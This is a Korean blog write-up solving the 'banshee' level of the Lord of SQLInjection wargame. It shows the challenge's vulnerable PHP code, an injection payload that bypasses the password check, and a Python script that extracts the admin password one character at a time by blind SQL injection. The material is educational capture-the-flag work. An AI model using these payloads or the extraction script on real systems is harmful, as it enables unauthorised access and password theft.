워게임/Lord of SQLInjection

[Lord of SQLInjection] banshee Write UP

작성자 - LRTK

문제 코드

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/banshee.db");
  if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>login success!</h2>";

  $query = "select pw from member where id='admin'"; 
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("banshee"); 
  highlight_file(__FILE__);
?>

공격 백터

  • pw : sqlite, member, _

코드 분석

$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>login success!</h2>";

공격 백터는 필터링을 통과 후 쿼리문에 들어가게 된다.
쿼리문은 id='admin' and pw='공격 백터 pw'인 member에 저장된 id을 반환하게 된다.

 

만약 결과값이 있다면, login success!를 출력하게 된다.

 

$query = "select pw from member where id='admin'"; 
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("banshee"); 

이 후, 두번째 쿼리문의 반환 값인 admin의 pw와 공격 백터의 pw가 같아야 문제가 클리어 된다.


문제 풀이

?pw=' or id='admin' and length(pw)=8--

나는 length 함수를 이용하여 admin의 pw 길이를 구하였다.
pw 파싱을 하기 위해 SQLite의 substr 함수가 있는지 검색하니, Mysql와 사용 방식이 똑같았다.

 

이처럼 Mysql와 같은 방식으로 구해주면 된다.
나는 파이썬을 이용하여 pw을 파싱하였다.

 

import requests, string
from SQLI import SQLI

url = 'https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php'
cookie = '14ejpgpni0e1j2aug4ovaur9f8'
sqli = SQLI(url, cookie)

pw = ''
for num in range(1, 8+1):
    for s in string.ascii_lowercase + string.digits + string.punctuation:
        query = f"?pw=' or id='admin' and substr(pw,{num},1)='{s}'--"
        result = sqli.pw_parsing(query)

        if 'login success!' in result:
            print(f'{num}번 pw >>> {s}')
            pw += s

print(pw)


이와 같이 간단하게 pw을 파싱할 수 있었다.

 

서버로 보내면 문제를 클리어 할 수 있다.


SQLI.py

import requests

class SQLI:
    def __init__(self, url:str, cookie:str):
        self.url = url
        self.cookies = {'PHPSESSID' : cookie}

    def pw_parsing(self, query:str):
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text

    def timeBased(self, query:str):
        start = time.time()
        response = requests.get(self.url + query, cookies=self.cookies)

        return response.text, time.time()-start
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.